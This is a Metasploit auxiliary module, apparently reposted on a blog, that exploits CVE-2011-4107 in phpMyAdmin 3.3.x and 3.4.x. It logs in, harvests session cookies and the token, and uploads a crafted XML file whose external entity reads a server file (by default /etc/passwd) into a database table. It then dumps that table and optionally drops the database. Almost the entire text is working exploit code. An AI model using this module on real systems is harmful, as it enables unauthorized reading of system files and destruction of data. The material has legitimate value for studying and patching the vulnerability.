# Exploit Title: poc-phpmyadmin-local-file-inclusion-via-xxe-injection# Date: 12-01-2012 |
# Author: Marco Batista |
# Blog Link: http://www.secforce.com/blog/2012/01/cve-2011-4107-poc-phpmyadmin-local-file-inclusion-via-xxe-injection/ |
# Tested on: Windows and Linux - phpmyadmin versions: 3.3.6, 3.3.10, 3.4.0, 3.4.5, 3.4.7 |
# CVE : CVE-2011-4107 |
require 'msf/core' |
class Metasploit3 < Msf::Auxiliary |
include Msf::Exploit::Remote::HttpClient |
def initialize |
super( |
'Name' => 'phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection', |
'Version' => '1.0', |
'Description' => %q{Importing a specially-crafted XML file which contains an XML entity injection permits to retrieve a local file (limited by the privileges of the user running the web server). |
The attacker must be logged in to MySQL via phpMyAdmin. |
Works on Windows and Linux Versions 3.3.X and 3.4.X}, |
'References' => |
[ |
[ 'CVE', '2011-4107' ], |
[ 'OSVDB', '76798' ], |
[ 'BID', '50497' ], |
[ 'URL', 'http://secforce.com/research/'], |
], |
'Author' => [ 'Marco Batista' ], |
'License' => MSF_LICENSE |
) |
register_options( |
[ |
Opt::RPORT(80), |
OptString.new('FILE', [ true, "File to read", '/etc/passwd']), |
OptString.new('USER', [ true, "Username", 'root']), |
OptString.new('PASS', [ false, "Password", 'password']), |
OptString.new('DB', [ true, "Database to use/create", 'hddaccess']), |
OptString.new('TBL', [ true, "Table to use/create and read the file to", 'files']), |
OptString.new('APP', [ true, "Location for phpMyAdmin URL", '/phpmyadmin']), |
OptString.new('DROP', [ true, "Drop database after reading file?", 'true']), |
],self.class) |
end |
def loginprocess |
# HTTP GET TO GET SESSION VALUES |
getresponse = send_request_cgi({ |
'uri' => datastore['APP']+'/index.php', |
'method' => 'GET', |
'version' => '1.1', |
}, 25) |
if (getresponse.nil?) |
print_error("no response for #{ip}:#{rport}") |
elsif (getresponse.code == 200) |
print_status("Received #{getresponse.code} from #{rhost}:#{rport}") |
elsif (getresponse and getresponse.code == 302 or getresponse.code == 301) |
print_status("Received 302 to #{getresponse.headers['Location']}") |
else |
print_error("Received #{getresponse.code} from #{rhost}:#{rport}") |
end |
valuesget = getresponse.headers["Set-Cookie"] |
varsget = valuesget.split(" ") |
#GETTING THE VARIABLES NEEDED |
phpMyAdmin = varsget.grep(/phpMyAdmin/).last |
pma_mcrypt_iv = varsget.grep(/pma_mcrypt_iv/).last |
# END HTTP GET |
# LOGIN POST REQUEST TO GET COOKIE VALUE |
postresponse = send_request_cgi({ |
'uri' => datastore['APP']+'/index.php', |
'method' => 'POST', |
'version' => '1.1', |
'headers' =>{ |
'Content-Type' => 'application/x-www-form-urlencoded', |
'Cookie' => "#{pma_mcrypt_iv} #{phpMyAdmin}" |
}, |
'data' => 'pma_username='+datastore['USER']+'&pma_password='+datastore['PASS']+'&server=1' |
}, 25) |
if (postresponse["Location"].nil?) |
print_status("TESTING#{postresponse.body.split("'").grep(/token/).first.split("=").last}") |
tokenvalue = postresponse.body.split("'").grep(/token/).first.split("=").last |
else |
tokenvalue = postresponse["Location"].split("&").grep(/token/).last.split("=").last |
end |
|
|
valuespost = postresponse.headers["Set-Cookie"] |
varspost = valuespost.split(" ") |
|
#GETTING THE VARIABLES NEEDED |
pmaUser = varspost.grep(/pmaUser-1/).last |
pmaPass = varspost.grep(/pmaPass-1/).last |
return "#{pma_mcrypt_iv} #{phpMyAdmin} #{pmaUser} #{pmaPass}",tokenvalue |
# END OF LOGIN POST REQUEST |
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError =>e |
print_error(e.message) |
rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH =>e |
print_error(e.message) |
end |
def readfile(cookie,tokenvalue) |
#READFILE TROUGH EXPORT FUNCTION IN PHPMYADMIN |
getfiles = send_request_cgi({ |
'uri' => datastore['APP']+'/export.php', |
'method' => 'POST', |
'version' => '1.1', |
'headers' =>{ |
'Cookie' => cookie |
}, |
'data' => 'db='+datastore['DB']+'&table='+datastore['TBL']+'&token='+tokenvalue+'&single_table=TRUE&export_type=table&sql_query=SELECT+*+FROM+%60files%60&what=texytext&texytext_structure=something&texytext_data=something&texytext_null=NULL&asfile=sendit&allrows=1&codegen_structure_or_data=data&texytext_structure_or_data=structure_and_data&yaml_structure_or_data=data' |
}, 25) |
|
if (getfiles.body.split("\n").grep(/== Dumping data for table/).empty?) |
print_error("Error reading the file... not enough privilege? login error?") |
else |
print_status("#{getfiles.body}") |
end |
end |
def dropdatabase(cookie,tokenvalue) |
dropdb = send_request_cgi({ |
'uri' => datastore['APP']+'/sql.php?sql_query=DROP+DATABASE+%60'+datastore['DB']+'%60&back=db_operations.php&goto=main.php&purge=1&token='+tokenvalue+'&is_js_confirmed=1&ajax_request=false', |
'method' => 'GET', |
'version' => '1.1', |
'headers' =>{ |
'Cookie' => cookie |
}, |
}, 25) |
print_status("Dropping database: "+datastore['DB']) |
end |
def run |
cookie,tokenvalue = loginprocess() |
|
print_status("Login at #{datastore['RHOST']}:#{datastore['RPORT']}#{datastore['APP']} using #{datastore['USER']}:#{datastore['PASS']}") |
|
craftedXML = "------WebKitFormBoundary3XPL01T\n" |
craftedXML << "Content-Disposition: form-data; name=\"token\"\n\n" |
craftedXML << tokenvalue+"\n" |
craftedXML << "------WebKitFormBoundary3XPL01T\n" |
craftedXML << "Content-Disposition: form-data; name=\"import_type\"\n\n" |
craftedXML << "server\n" |
craftedXML << "------WebKitFormBoundary3XPL01T\n" |
craftedXML << "Content-Disposition: form-data; name=\"import_file\"; filename=\"exploit.xml\"\n" |
craftedXML << "Content-Type: text/xml\n\n" |
craftedXML << "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n" |
craftedXML << "<!DOCTYPE ficheiro [ \n" |
craftedXML << " <!ENTITY conteudo SYSTEM \"file:///#{datastore['FILE']}\" >]>\n" |
craftedXML << "<pma_xml_export version=\"1.0\" xmlns:pma=\"http://www.phpmyadmin.net/some_doc_url/\">\n" |
craftedXML << " <pma:structure_schemas>\n" |
craftedXML << " <pma:database name=\""+datastore['DB']+"\" collation=\"utf8_general_ci\" charset=\"utf8\">\n" |
craftedXML << " <pma:table name=\""+datastore['TBL']+"\">\n" |
craftedXML << " CREATE TABLE `"+datastore['TBL']+"` (`file` varchar(20000) NOT NULL);\n" |
craftedXML << " </pma:table>\n" |
craftedXML << " </pma:database>\n" |
craftedXML << " </pma:structure_schemas>\n" |
craftedXML << " <database name=\""+datastore['DB']+"\">\n" |
craftedXML << " <table name=\""+datastore['TBL']+"\">\n" |
craftedXML << " <column name=\"file\">&conteudo;</column>\n" |
craftedXML << " </table>\n" |
craftedXML << " </database>\n" |
craftedXML << "</pma_xml_export>\n\n" |
craftedXML << "------WebKitFormBoundary3XPL01T\n" |
craftedXML << "Content-Disposition: form-data; name=\"format\"\n\n" |
craftedXML << "xml\n" |
craftedXML << "------WebKitFormBoundary3XPL01T\n" |
craftedXML << "Content-Disposition: form-data; name=\"csv_terminated\"\n\n" |
craftedXML << ",\n\n" |
craftedXML << "------WebKitFormBoundary3XPL01T--" |
|
|
print_status("Grabbing that #{datastore['FILE']} you want...") |
res = send_request_cgi({ |
'uri' => datastore['APP']+'/import.php', |
'method' => 'POST', |
'version' => '1.1', |
'headers' =>{ |
'Content-Type' => 'multipart/form-data; boundary=----WebKitFormBoundary3XPL01T', |
'Cookie' => cookie |
}, |
'data' => craftedXML |
}, 25) |
readfile(cookie,tokenvalue) |
if (datastore['DROP'] == "true") |
dropdatabase(cookie,tokenvalue) |
else |
print_status("Database was not dropped: "+datastore['DB']) |
end |
end |
end
Tidak ada komentar:
Posting Komentar